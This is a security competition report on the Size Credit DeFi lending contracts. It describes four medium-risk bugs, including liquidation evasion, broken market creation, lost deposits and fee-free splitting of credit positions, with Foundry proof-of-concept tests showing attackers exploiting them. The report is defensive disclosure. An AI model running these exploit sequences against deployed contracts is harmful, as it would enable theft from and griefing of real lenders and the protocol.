CANTINA

Size

Competition

April 3, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Size Credit is the first protocol where lenders and borrowers can fully customize offers around any rates and dates.

From Feb 26th to Mar 12th Cantina hosted a competition based on size-solidity. The participants identified a total of **13** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 0
- Medium Risk: 4
- Low Risk: 2
- Gas Optimizations: 0
- Informational: 7

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 Medium Risk

3.1.1 Underwater borrower can evade liquidations indefinitely by compensating loan

Submitted by flacko

Severity: Medium Risk

Context: Size.sol#L407-L415

Summary: Underwater borrower can evade liquidation by front-running calls to `liquidate()` by calling `compensate()`. By doing this they can constantly rotate the credit and debt position IDs by simply creating new positions that mirror the old ones, causing underwater positions to accrue even more debt or "buying time" until the position ceases to be liquidateable anymore.

By front-running calls to `liquidate()` and compensating the entire loan position creating a new debt and credit position, when a liquidator tries to liquidate the now old debt position, the call will revert as the debt position has no future value and is marked as repaid.

Likelihood Explanation: As can be seen in the project readme, Mainnet and Base networks are supported. Front-running is not viable on Base but it's feasible on Mainnet.

- README.md:

  Size is a credit marketplace with unified liquidity across maturities.

  Networks:

  - Ethereum mainnet.
  - Base.

The only relevant validation done when a loan is compensated is that the tenor of the new debt position will be within the configured range in the market's risk config. For the `WETH/USDC` pool the minimum tenor is 1 hour. If a loan is created with a tenor of 7 days and becomes liquidateable on the 3rd day due to volatile market conditions, the liquidation of the loan could be postponed by the borrower for the next 4 days, except for the last hour.

Proof of Concept:

```
diff --git a/test/local/actions/Liquidate.t.sol b/test/local/actions/Liquidate.t.sol
index baab684..b1c3e90 100644
--- a/test/local/actions/Liquidate.t.sol
+++ b/test/local/actions/Liquidate.t.sol
@@ -9,8 +9,65 @@ import {LoanStatus, RESERVED_ID} from "@src/market/libraries/LoanLibrary.sol";
 import {Math} from "@src/market/libraries/Math.sol";
 import {PERCENT} from "@src/market/libraries/Math.sol";
 import {YieldCurveHelper} from "@test/helpers/libraries/YieldCurveHelper.sol";
+import {YieldCurve} from '@src/market/libraries/YieldCurveLibrary.sol';
+import {DebtPosition} from '@src/market/libraries/LoanLibrary.sol';
+import {Errors} from '@src/market/libraries/Errors.sol';
+import {CompensateParams} from '@src/market/libraries/actions/Compensate.sol';
+
+import {DataView, UserView} from "@src/market/SizeViewData.sol";

 contract LiquidateTest is BaseTest {
+    function test_avoid_liquidation_using_compensate() public {
+        _updateConfig('borrowATokenCap', type(uint256).max);
+
+        _deposit(alice, weth, 1e18);
+        _deposit(alice, usdc, 500e6);
+        _deposit(bob, weth, 1e18);
+        _deposit(bob, usdc, 500e6);
+        _deposit(liquidator, weth, 100e18);
+        _deposit(liquidator, usdc, 100e6);
+
+        YieldCurve memory curve = YieldCurveHelper.pointCurve(365 days, 0.1e18);
+        _buyCreditLimit(alice, block.timestamp + 365 days, curve);
+
+        uint256 debtPositionId = _sellCreditMarket(bob, alice, RESERVED_ID, 100e6, 365 days, false);
+        uint256 creditPositionId = size.getCreditPositionIdsByDebtPositionId(debtPositionId)[0];
+
```

```
+        DataView memory data = size.data();
+        uint256 bobBalanceBefore = data.borrowAToken.balanceOf(bob);
+
+        // Make borrower collateralization ratio drop so the loan's liquidateable
+        _setPrice(2e18);
+
+        assertEq(size.isUserUnderwater(bob), true);
+
+        // Borrower compenasates their debt position using lender's credit position
+        vm.prank(bob);
+        size.compensate(
+            CompensateParams({
+                creditPositionWithDebtToRepayId: creditPositionId,
+                creditPositionToCompensateId: RESERVED_ID,
+                amount: type(uint256).max
+            })
+        );
+
+        DebtPosition memory debtPosition = size.getDebtPosition(debtPositionId);
+        assertEq(debtPosition.futureValue, 0);
+
+        // Lender now tries to liquidate the borrower but such debt position has no value
+        // anymore and is marked as REPAID
+        vm.expectRevert(abi.encodeWithSelector(Errors.LOAN_NOT_LIQUIDATABLE.selector, 0, 18090909061305785,
↪  2));
+        _liquidate(liquidator, debtPositionId);
+
+        // Bob is still underwater
+        assertEq(size.isUserUnderwater(bob), true);
+
+        data = size.data();
+        uint256 bobBalanceAfter = data.borrowAToken.balanceOf(bob);
+        assertEq(bobBalanceBefore, bobBalanceAfter);
+    }
+
     function test_Liquidate_liquidate_repays_loan() public {
         _setPrice(1e18);
```

Recommendation: Allow compensation of a position by the borrower themselves only if the loan's collateralization ratio improves after execution.

3.1.2 `createMarket` and `createBorrowATokenV1_5` always fail due to `owner()` being set to `address(0)` after v1.7 upgrade

Submitted by pep7siup, also found by serial-coder, mt030d, Josh4324, kalogerone, gimoquoi, gimoquoi, 0xEkkoo, Kasheeda, korok, rokinot and mt030d

Severity: Medium Risk

Context: SizeFactory.sol#L123, SizeFactory.sol#L183

Summary: After the SizeFactory v1.7 upgrade, `owner()` is set to `address(0)` due to `transferOwnership(address(0))`. As a result, any subsequent calls to `createMarket` or `createBorrowATokenV1_5` fail because they rely on `owner()` for initialization, triggering a `NULL_ADDRESS` or `OwnableInvalidOwner` error.

Finding Description: The upgrade process for SizeFactory v1.7 includes renouncing ownership, effectively setting `owner()` to `address(0)`. However, both `createMarket` and `createBorrowATokenV1_5` rely on `owner()` when calling initialization functions, leading to reverts when `owner()` is checked.

- Found in `src/factory/SizeFactory.sol` at SizeFactory.sol#L123:

```
116:     function createMarket(
         // ...
122:         market = MarketFactoryLibrary.createMarket(
123: =>             sizeImplementation, owner(), feeConfigParams, riskConfigParams, oracleParams,
↪  dataParams
124:         );
         // ...
126:     }

// Initialize.sol: createMarket -> Size:initialize -> validateOwner reverts if owner is null address
73:     function validateOwner(address owner) internal pure {
74:         if (owner == address(0)) {
75: =>             revert Errors.NULL_ADDRESS();
76:         }
```

The function `MarketFactoryLibrary.createMarket()` attempts to pass `owner()` but fails due to `NULL_ADDRESS`.

- Found in `src/factory/SizeFactory.sol` at SizeFactory.sol#L183.

```
178:     function createBorrowATokenV1_5(IPool variablePool, IERC20Metadata underlyingBorrowToken)
         // ...
182:         borrowATokenV1_5 =
↪  NonTransferrableScaledTokenV1_5FactoryLibrary.createNonTransferrableScaledTokenV1_5(
183: =>             nonTransferrableScaledTokenV1_5Implementation, owner(), variablePool,
↪  underlyingBorrowToken
184:         );
         // ...
186:     }
```

In `createBorrowATokenV1_5`, the function `createNonTransferrableScaledTokenV1_5()` also passes `owner()`, leading to an `OwnableInvalidOwner` error.

This breaks the ability to create new markets or borrowing tokens, making key protocol functions unusable post-upgrade.

Impact Explanation: The issue completely prevents the creation of new markets and borrow tokens, significantly impairing the protocol's functionality, making this a high-impact issue.

Likelihood Explanation: This issue is highly likely because:.

1. The upgrade process explicitly renounces ownership.
2. There is no alternative mechanism to provide an owner address.
3. Any call to the affected functions post-upgrade will always fail.

Proof of Concept: Apply and run with:

```
FOUNDRY_PROFILE=fork FOUNDRY_INVARIANT_RUNS=0 FOUNDRY_INVARIANT_DEPTH=0 forge test --mc
↪  ForkReinitializeV1_7Test --mt testFork_ForkReinitializeV1_7_reinitialize --ffi -vvvv
```

```
diff --git a/test/fork/v1.7/ForkReinitializeV1_7.t.sol b/test/fork/v1.7/ForkReinitializeV1_7.t.sol
index 196ae35..ccf5b8f 100644
--- a/test/fork/v1.7/ForkReinitializeV1_7.t.sol
+++ b/test/fork/v1.7/ForkReinitializeV1_7.t.sol
@@ -30,6 +30,9 @@ contract ForkReinitializeV1_7Test is ForkTest, GetV1_7ReinitializeDataScript, Ne
         address owner;
     }

+    error NULL_ADDRESS();
+    error OwnableInvalidOwner(address owner);
+
     function _getV1_7ReinitializeAddresses(string memory network, uint256 blockNumber)
         private
         returns (Vars memory vars)
@@ -87,11 +90,20 @@ contract ForkReinitializeV1_7Test is ForkTest, GetV1_7ReinitializeDataScript, Ne
             address(vars.sizeFactory).call(abi.encodeWithSelector(IAccessControl.hasRole.selector, vars.owner,
             ↪  0x00));
         assertTrue(success, "should be able to call hasRole");
         assertTrue(OwnableUpgradeable(address(vars.sizeFactory)).owner() == address(0), "owner should be set
         ↪  to zero");
+
+        vm.startPrank(vars.owner);
+        vm.expectRevert(abi.encodeWithSelector(NULL_ADDRESS.selector));
+        vars.sizeFactory.createMarket(f, r, o, d);
+
+
+        vm.expectRevert(abi.encodeWithSelector(OwnableInvalidOwner.selector, address(0)));
+        vars.sizeFactory.createBorrowATokenV1_5(variablePool, usdc);
+        vm.stopPrank();
     }

     function testFork_ForkReinitializeV1_7_reinitialize() public {
         // 2025-02-21T12:00Z
-        _testFork_ForkReinitializeV1_7_reinitialize("mainnet", 21894565);
+        // _testFork_ForkReinitializeV1_7_reinitialize("mainnet", 21894565);
         _testFork_ForkReinitializeV1_7_reinitialize("base-production", 26674900);
     }
 }
```

Recommendation: Modify `createMarket` and `createBorrowATokenV1_5` to accept `owner` as an explicit parameter instead of relying on `owner()`, ensuring that a valid owner address is always provided:

```
function createMarket(address _owner, ...) external {
    market = MarketFactoryLibrary.createMarket(
        sizeImplementation, _owner, feeConfigParams, riskConfigParams, oracleParams, dataParams
    );
}
```

```
function createBorrowATokenV1_5(address _owner, IPool variablePool, IERC20Metadata underlyingBorrowToken)
↪  external {
    borrowATokenV1_5 = NonTransferrableScaledTokenV1_5FactoryLibrary.createNonTransferrableScaledTokenV1_5(
        nonTransferrableScaledTokenV1_5Implementation, _owner, variablePool, underlyingBorrowToken
    );
}
```

3.1.3 A user might lose ETH when sending a deposit in a multicall that includes a `depositOnBehalf` call

Submitted by mt030d

Severity: Medium Risk

Context: Deposit.sol#L57-L59, Deposit.sol#L89-L96

Summary: When `msg.value` is non-zero in an operator's `depositOnBehalf` call, the function deposits the caller's ETH instead of the `onBehalfOf` member's WETH into the Size market. This results in the loss of the operator's funds. This issue can occur in a multicall context, where the operator is also a user of Size and combines their deposit call with a `depositOnBehalfOf` call.

Finding Description: The `executeDeposit` function in the `Deposit` library underlies both the `Size.deposit` and `Size.depositOnBehalfOf` functions. A code branch if (msg.value > 0) {...} in executeDeposit wraps the

caller's sent ETH into WETH, which is then deposited into the Size market.

```
function executeDeposit(State storage state, DepositOnBehalfOfParams memory externalParams) public {
    // ...
    if (msg.value > 0) {
        // do not trust msg.value (see `Multicall.sol`)
        amount = address(this).balance;
        // slither-disable-next-line arbitrary-send-eth
        state.data.weth.deposit{value: amount}();
        state.data.weth.forceApprove(address(this), amount);
        from = address(this);
    }
    // ...
}
```

This design likely aims to facilitate deposits without requiring the depositor to first wrap their ETH into WETH. However, in a `depositOnBehalfOf` call, it should not be the operator's ETH that is deposited; instead, the authorizer's WETH should be deposited. Typically, the operator would not call `depositOnBehalfOf` with a non-zero `msg.value`. However, this can happen in a multicall context.

For example, Alice authorizes Bob as the operator and wants him to deposit 100 WETH into Size on her behalf. Meanwhile, Bob, also a Size user, wants to deposit 100 ETH as collateral. Bob bundles these two transactions into a multicall and sends it on-chain. In the multicall, the `depositOnBehalfOf` tx sees a non-zero `msg.value` and uses Bob's ETH in the deposit. The following `deposit` call would deposit zero amount since the msg.value is used previously. As a result, Bob's 100 ETH is deposited as Alice's collateral (shown in the following proof of concept section), which is not what Bob intended.

Impact Explanation: High - The operator could lose the ETH sent to `deposit()` without receiving the collateral token they should get.

Likelihood Explanation: Low - The issue might occur in a multicall context that includes both a `deposit` and `depositOnBehalf` call, with the `depositOnBehalf` call placed before the `deposit` call. Additionally, `msg.value` needs to match `params.amount` in the `depositOnBehalfOf` transaction to pass the following check in `Deposit.validateDeposit`:

```
if (msg.value != 0 && (msg.value != params.amount || params.token != address(state.data.weth))) {
    revert Errors.INVALID_MSG_VALUE(msg.value);
}
```

Proof of Concept:

```
pragma solidity 0.8.23;

import {Action, Authorization} from "@src/factory/libraries/Authorization.sol";
import {DepositOnBehalfOfParams, DepositParams} from "@src/market/libraries/actions/Deposit.sol";

import {BaseTest, Vars} from "@test/BaseTest.sol";
import {console} from "forge-std/Test.sol";

contract PoCTest is BaseTest {
    function setUp() public override {
        super.setUp();

        _mint(address(weth), alice, 100e18);
        _approve(alice, address(weth), address(size), type(uint256).max);

        vm.deal(bob, 100e18);

        vm.prank(alice);
        sizeFactory.setAuthorization(bob, Authorization.getActionsBitmap(Action.DEPOSIT));
    }

    function test_OperatorLossMsgValue() public {
        assertTrue(sizeFactory.isAuthorized(bob, alice, Action.DEPOSIT));

        console.log("============= Initial state ============================");
        {
            Vars memory state = _state();
            console.log("Alice's collateralToken balance: ", state.alice.collateralTokenBalance);
            console.log("Alice's weth balance: ", weth.balanceOf(alice));
            console.log("Bob's collateralToken balance: ", state.bob.collateralTokenBalance);
            console.log("Bob's eth balance: ", bob.balance);
        }
```

```
        uint256 snapshot = vm.snapshotState();
        console.log("============= Situation 1: txs are sent separately ============");
        vm.prank(bob);
        size.depositOnBehalfOf(
            DepositOnBehalfOfParams({
                params: DepositParams({token: address(weth), amount: 100e18, to: alice}),
                onBehalfOf: alice
            })
        );
        vm.prank(bob);
        size.deposit{value: 100e18}(DepositParams({token: address(weth), amount: 100e18, to: bob}));
        {
            Vars memory state = _state();
            console.log("Alice's collateralToken balance: ", state.alice.collateralTokenBalance);
            console.log("Alice's weth balance: ", weth.balanceOf(alice));
            console.log("Bob's collateralToken balance: ", state.bob.collateralTokenBalance);
            console.log("Bob's eth balance: ", bob.balance);
        }

        vm.revertTo(snapshot);
        console.log("============= Situation 2: txs are sent in multicall ============");
        bytes[] memory txs = new bytes[](2);
        txs[0] = abi.encodeCall(
            size.depositOnBehalfOf,
            (
                DepositOnBehalfOfParams({
                    params: DepositParams({token: address(weth), amount: 100e18, to: alice}),
                    onBehalfOf: alice
                })
            )
        );
        txs[1] = abi.encodeCall(size.deposit, (DepositParams({token: address(weth), amount: 100e18, to: bob})));
        vm.prank(bob);
        size.multicall{value: 100e18}(txs);
        {
            Vars memory state = _state();
            console.log("Alice's collateralToken balance: ", state.alice.collateralTokenBalance);
            console.log("Alice's weth balance: ", weth.balanceOf(alice));
            console.log("Bob's collateralToken balance: ", state.bob.collateralTokenBalance);
            console.log("Bob's eth balance: ", bob.balance);
        }
    }
}
```

Place the above code in foundry test folder. The test result is as follows:

```
[PASS] test_OperatorLossMsgValue() (gas: 1106746)
Logs:
  ============= Initial state ============================
  Alice's collateralToken balance:  0
  Alice's weth balance:  100000000000000000000
  Bob's collateralToken balance:  0
  Bob's eth balance:  100000000000000000000
  ============= Situation 1: txs are sent separately ============
  Alice's collateralToken balance:  100000000000000000000
  Alice's weth balance:  0
  Bob's collateralToken balance:  100000000000000000000
  Bob's eth balance:  0
  ============= Situation 2: txs are sent in multicall ============
  Alice's collateralToken balance:  100000000000000000000
  Alice's weth balance:  100000000000000000000
  Bob's collateralToken balance:  0
  Bob's eth balance:  0
```

Recommendation: Consider rewriting the `deposit` and `depositOnBehalfOf` functions to decouple `depositOnBehalfOf` from `msg.value` related logic.

3.1.4 A rogue borrower can split the lender's credit position into multiple positions without paying fragmentation fees

Submitted by serial-coder

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: PR 120, which fixed the C4 audit's `M-13 issue (Fragmentation fee is not taken if user compensates with newly created position)`, was implemented incorrectly in a particular edge case. Hence, the `Size::compensate()` still has a vulnerability that allows a rogue borrower to maliciously split their lender's credit position into multiple positions without paying fragmentation fees.

Finding Description: Previously, on the C4 audit (refer to C4 report 153), I discovered that an attacker (borrower) could partially repay their loan and force the lender's credit position (`creditPositionWithDebtToRepay`) to split into multiple positions without paying fragmentation fees.

Two approaches an attacker could previously exploit the vulnerability:

1. Execute the `compensate()` and specify the `params.creditPositionToCompensateId == RESERVED_ID` to create a new `creditPositionToCompensate` position (`@1.1` in the snippet below) for the partial repayment (i.e., case 1: creating a new `creditPositionToCompensate` with `credit == amountToCompensate` in the snippet).
2. Execute the `compensate()` and point the `params.creditPositionToCompensateId` to an existing `creditPositionToCompensate` position (`@2.1`) for the partial repayment (i.e., case 2: loading an existing `creditPositionToCompensate` in the snippet).

After the bug was fixed in PR 120, the first approach was addressed properly (`@1.2`). Nevertheless, I discovered that the second approach was incorrectly fixed (`@2.2`).

To elaborate on the exploitable second approach, to bypass charging the fragmentation fee, the following conditions must be met:

1. The attacker must fully exit their `creditPositionToCompensate` by setting the `creditPositionToCompensate.credit == amountToCompensate`.
2. The `amountToCompensate` must be less than the `creditPositionWithDebtToRepay.credit` to leave the `creditPositionWithDebtToRepay` (lender's credit position) some credit.

More specifically, with the `creditPositionToCompensate.credit == amountToCompensate`, the `shouldChargeFragmentationFee` variable will be false (`@2.2`), eventually bypassing the condition check for charging the fragmentation fee (`@5`). Meanwhile, setting the `amountToCompensate` to be less than the `creditPositionWithDebtToRepay.credit` will split the lender's lending liquidity (USDC) from a single credit position to two credit positions (refer to `@3`, `@4.1`, and `@4.2` for details).

With the above conditions, the attacker can maliciously split the lender's lending liquidity into multiple credit positions by invoking the `compensate()` multiple times without paying fragmentation fees.

For a better understanding, please refer to the `inline @audit comments` in the snippet below and the coded Proof of Concept below:

```
// FILE: https://github.com/SizeCredit/size-solidity/blob/main/src/market/libraries/actions/Compensate.sol
function executeCompensate(State storage state, CompensateOnBehalfOfParams memory externalParams) external {
    CompensateParams memory params = externalParams.params;
    address onBehalfOf = externalParams.onBehalfOf;

    emit Events.Compensate(
        msg.sender,
        onBehalfOf,
        params.creditPositionWithDebtToRepayId,
        params.creditPositionToCompensateId,
        params.amount
    );

    CreditPosition storage creditPositionWithDebtToRepay =
        state.getCreditPosition(params.creditPositionWithDebtToRepayId);
    DebtPosition storage debtPositionToRepay =
        state.getDebtPositionByCreditPositionId(params.creditPositionWithDebtToRepayId);

    uint256 amountToCompensate = Math.min(params.amount, creditPositionWithDebtToRepay.credit);

    CreditPosition memory creditPositionToCompensate;
    bool shouldChargeFragmentationFee;
    if (params.creditPositionToCompensateId == RESERVED_ID) {
        //@audit @1.1 -- Case 1: creating a new creditPositionToCompensate with credit ==
        ↪  amountToCompensate.
```

```
@1.1        creditPositionToCompensate = state.createDebtAndCreditPositions({
@1.1            lender: onBehalfOf,
@1.1            borrower: onBehalfOf,
@1.1            futureValue: amountToCompensate,
@1.1            dueDate: debtPositionToRepay.dueDate
@1.1        });

            //@audit @1.2 -- This case was fixed properly.
@1.2        shouldChargeFragmentationFee = amountToCompensate != creditPositionWithDebtToRepay.credit;
        } else {
            //@audit @2.1 -- Case 2: loading an existing creditPositionToCompensate.
@2.1        creditPositionToCompensate = state.getCreditPosition(params.creditPositionToCompensateId);
@2.1        amountToCompensate = Math.min(amountToCompensate, creditPositionToCompensate.credit);

            //@audit @2.2 -- This case was incorrectly fixed!!!
            //
            //              A rogue borrower can load an existing creditPositionToCompensate whose
            //              credit == amountToCompensate, which will evaluate the shouldChargeFragmentationFee
            //              variable to be false, but leave some credit of the creditPositionWithDebtToRepay >
            ↪  0
            //              (making a lender's credit split).
@2.2        shouldChargeFragmentationFee = amountToCompensate != creditPositionToCompensate.credit;
        }

        //@audit @3 -- The amountToCompensate will be deducted from the corresponding debt & credit of the
        ↪  target
        //            creditPositionWithDebtToRepay but leave some credit (> 0) in the position.
        //
        // debt and credit reduction
@3      state.reduceDebtAndCredit(
@3          creditPositionWithDebtToRepay.debtPositionId, params.creditPositionWithDebtToRepayId,
↪   amountToCompensate
@3      );

        //@audit @4.1 -- The createCreditPosition() is executed to exit the creditPositionToCompensate
        ↪  position.
        //
        // credit emission
@4.1    state.createCreditPosition({
@4.1        exitCreditPositionId: params.creditPositionToCompensateId == RESERVED_ID
@4.1            ? state.data.nextCreditPositionId - 1
@4.1            : params.creditPositionToCompensateId,
@4.1        lender: creditPositionWithDebtToRepay.lender,
@4.1        credit: amountToCompensate,
@4.1        forSale: creditPositionWithDebtToRepay.forSale
@4.1    });

        //@audit @5 -- Since the shouldChargeFragmentationFee == false (computed in @2.2), the borrower can
        ↪  split
        //            the lender's single credit position into two (or more) positions without paying
        ↪  fragmentation fees.
@5      if (shouldChargeFragmentationFee) {
            // charge the fragmentation fee in collateral tokens, capped by the user balance
            uint256 fragmentationFeeInCollateral = Math.min(
                state.debtTokenAmountToCollateralTokenAmount(state.feeConfig.fragmentationFee),
                state.data.collateralToken.balanceOf(onBehalfOf)
            );
            state.data.collateralToken.transferFrom(
                onBehalfOf, state.feeConfig.feeRecipient, fragmentationFeeInCollateral
            );
        }
    }

    // FILE: https://github.com/SizeCredit/size-solidity/blob/main/src/market/libraries/AccountingLibrary.sol
    function createCreditPosition(
        State storage state,
        uint256 exitCreditPositionId,
        address lender,
        uint256 credit,
        bool forSale
    ) external {
        CreditPosition storage exitCreditPosition = state.getCreditPosition(exitCreditPositionId);

        //@audit @4.2 -- Since the exitCreditPosition.credit (i.e., creditPositionToCompensate.credit) ==
        ↪  credit
        //              (i.e., amountToCompensate), the creditPositionToCompensate position is exiting in
        ↪  full.
```

```
        //
        //                As a result, the lender of the creditPositionWithDebtToRepay will become a new lender
        ↪  of
        //                the exiting creditPositionToCompensate position.
        //
        //                Now, the lender holds two credit positions (from the single lending),
        //                i.e., creditPositionWithDebtToRepay and creditPositionToCompensate.
@4.2    if (exitCreditPosition.credit == credit) {
@4.2        exitCreditPosition.lender = lender;
            exitCreditPosition.forSale = forSale;

            emit Events.UpdateCreditPosition(
                exitCreditPositionId, lender, exitCreditPosition.credit, exitCreditPosition.forSale
            );
        } else {
            uint256 debtPositionId = exitCreditPosition.debtPositionId;

            reduceCredit(state, exitCreditPositionId, credit);

            CreditPosition memory creditPosition =
                CreditPosition({lender: lender, credit: credit, debtPositionId: debtPositionId, forSale:
                ↪  forSale});

            uint256 creditPositionId = state.data.nextCreditPositionId++;
            state.data.creditPositions[creditPositionId] = creditPosition;
            state.validateMinimumCreditOpening(creditPosition.credit);

            emit Events.CreateCreditPosition(
                creditPositionId, lender, debtPositionId, exitCreditPositionId, credit, forSale
            );
        }
    }
```

- `@1.1`: Compensate.sol#L144-L149.
- `@1.2`: Compensate.sol#L150.
- `@2.1`: Compensate.sol#L152-L153.
- `@2.2`: Compensate.sol#L1554.
- `@3`: Compensate.sol#L158-L160.
- `@4.1`: Compensate.sol#L163-L170.
- `@4.2`: AccountingLibrary.sol#L115-L116.
- `@5`: Compensate.sol#L171.

Impact Explanation: As per the protocol's docs regarding the `fragmentation fee`:

> The Size team intends to run keeper bots to streamline the claim process and aggregate liquidity. However, this operation has some fixed costs in terms of gas, which is why a fixed fee is charged to the user causing the credit split.

The `compensate()` has a vulnerability that allows a rogue borrower to maliciously split their lender's credit position into multiple positions without paying fragmentation fees.

With the vulnerability, an attacker (e.g., the protocol's rivals) can force the keeper bots to claim credit positions maliciously split to drain all collected fragmentation fees. Once the collected fragmentation fees have been drained, the lender must independently claim and aggregate their split credit positions. Consequently, the lender will be grieved by a significant amount of claiming gas fees, and the lender will finally eat the loss (i.e., this vulnerability can impact both the protocol and its lenders)..

Likelihood Explanation: The vulnerability is easy to exploit (please refer to the coded PoC for details). The attacker can be anyone (e.g., the protocol's rivals). For this reason, the likelihood is ranged between medium and high.

Proof of Concept: Place the `test_PoC_C4IncorrectFix__borrower_forces_splitting_lender_single_credit_position_into_multiple_credit_positions()` in the `./test/local/actions/Compensate.t.sol` file and run the test using the command: `forge test -vvv --mt test_PoC_C4IncorrectFix__borrower_forces_splitting_lender_single_credit_position_into_multiple_credit_positions`.

The proof of concept shows that an attacker (Bob) can maliciously split Alice's lending liquidity (USDC) from a single credit position to 5 credit positions without paying fragmentation fees. To aggregate Alice's lending liquidity back, Alice or the protocol's keeper bots must execute the `Size::claim()` 5 times.

- `Scenario 1`: If the keeper bots execute the `claim()` on behalf of Alice, this attack can drain the protocol's collected fragmentation fees.
- `Scenario 2`: If Alice executes the `claim()` herself, she will be grieved by a significant amount of claiming gas fees and finally eat the loss.

```
function test_PoC_C4IncorrectFix__borrower_forces_splitting_lender_single_credit_position_into_multiple_credit
↪  _positions() public {
    _setPrice(1e18);
    _updateConfig("swapFeeAPR", 0); // No swap fee for simplicity

    // 5 USDC for the fragmentation fee
    assertEq(size.feeConfig().fragmentationFee, 5e6);

    assertEq(_state().feeRecipient.borrowATokenBalance, 0);
    assertEq(_state().feeRecipient.collateralTokenBalance, 0);

    _deposit(alice, usdc, 100e6);
    _deposit(bob, weth, 200e18);

    // No lending yield for simplicity
    _buyCreditLimit(alice, block.timestamp + 365 days, YieldCurveHelper.pointCurve(365 days, 0));

    // Bob borrows Alice's 100 USDC (w/o interest for simplicity)
    uint256 debtPositionId_bob = _sellCreditMarket(bob, alice, RESERVED_ID, 100e6, 365 days, false);
    uint256 creditPositionId_alice = size.getCreditPositionIdsByDebtPositionId(debtPositionId_bob)[0];

    // Bob maliciously splits Alice's lending liquidity (USDC) in a single source credit position into other 4
    ↪  credit positions (20 USDC for each)
    // and leaves the leftover 20 USDC in the source position
    Vars memory _before = _state();

    uint256[4] memory creditPositionId_alice_splits;
    for (uint256 i = 0; i < 4; i++) {
        // Self-borrowing, no lending yield
        _buyCreditLimit(bob, block.timestamp + 365 days, YieldCurveHelper.pointCurve(365 days, 0));
        uint256 debtPositionId_self_borrow_bob = _sellCreditMarket(bob, bob, RESERVED_ID, 20e6, 365 days,
        ↪  false);
        uint256 creditPositionToCompensateId_bob =
        ↪  size.getCreditPositionIdsByDebtPositionId(debtPositionId_self_borrow_bob)[0];

        // Split Alice's source credit position
        _compensate(bob, creditPositionId_alice, creditPositionToCompensateId_bob, 20e6);
        creditPositionId_alice_splits[i] = creditPositionToCompensateId_bob;
    }

    Vars memory _after = _state();

    // Bob neither paid fragmentation fees in borrowToken (USDC) nor collateralToken (WETH)
    assertEq(_before.bob.borrowATokenBalance, _after.bob.borrowATokenBalance);
    assertEq(_before.bob.collateralTokenBalance, _after.bob.collateralTokenBalance);

    assertEq(_state().feeRecipient.borrowATokenBalance, 0);
    assertEq(_state().feeRecipient.collateralTokenBalance, 0);

    // Bob repays the source debt position's leftover (20 USDC) and all split debt positions (80 USDC in total)
    _repay(bob, size.getCreditPosition(creditPositionId_alice).debtPositionId, bob);
    for (uint256 i = 0; i < 4; i++) {
        _repay(bob, size.getCreditPosition(creditPositionId_alice_splits[i]).debtPositionId, bob);
    }

    // Alice's lending liquidity (USDC) in a single credit position was maliciously split into 5 credit
    ↪  positions
    assertEq(size.getCreditPosition(creditPositionId_alice).credit, 20e6);
    assertEq(size.getCreditPosition(creditPositionId_alice_splits[0]).credit, 20e6);
    assertEq(size.getCreditPosition(creditPositionId_alice_splits[1]).credit, 20e6);
    assertEq(size.getCreditPosition(creditPositionId_alice_splits[2]).credit, 20e6);
    assertEq(size.getCreditPosition(creditPositionId_alice_splits[3]).credit, 20e6);

    // Alice (or the protocol's keeper bots) must execute the claim() 5 times to aggregate her lending
    ↪  liquidity (USDC) back
```

```
    // -- (Scenario 1) If the protocol's keeper bots execute the claim() on behalf of Alice, this attack can
    ↪  drain the protocol's collected fragmentation fees
    // -- (Scenario 2) If Alice executes the claim() by herself, she will be grieved by a significant amount of
    ↪  claiming gas fees, and she will finally eat the loss
    _claim(alice, creditPositionId_alice);
    _claim(alice, creditPositionId_alice_splits[0]);
    _claim(alice, creditPositionId_alice_splits[1]);
    _claim(alice, creditPositionId_alice_splits[2]);
    _claim(alice, creditPositionId_alice_splits[3]);
    assertEq(_state().alice.borrowATokenBalance, 100e6); // No yield collected from Bob for simplicity
    assertEq(_state().alice.collateralTokenBalance, 0); // Further assertion

    // Again, Bob neither paid fragmentation fees in borrowToken (USDC) nor collateralToken (WETH)
    assertEq(_state().bob.borrowATokenBalance, 0); // No yield collected from self-borrowing
    assertEq(_state().bob.collateralTokenBalance, 200e18);

    assertEq(size.feeConfig().fragmentationFee, 5e6);          // 5 USDC was set for the fragmentation fee
    assertEq(_state().feeRecipient.borrowATokenBalance, 0);    // No collecting fragmentation fees in
    ↪  borrowToken (USDC)
    assertEq(_state().feeRecipient.collateralTokenBalance, 0); // No collecting fragmentation fees in
    ↪  collateralToken (WETH)
}
```

Please refer to the recommended code and its coded proof of concept in the next section.

Recommendation: Update the condition check for charging the fragmentation fee under the vulnerable edge case (*i.e., loading an existing* `creditPositionToCompensate`), like in the snippet below:

```
  function executeCompensate(State storage state, CompensateOnBehalfOfParams memory externalParams) external {
      CompensateParams memory params = externalParams.params;
      address onBehalfOf = externalParams.onBehalfOf;

      emit Events.Compensate(
          msg.sender,
          onBehalfOf,
          params.creditPositionWithDebtToRepayId,
          params.creditPositionToCompensateId,
          params.amount
      );

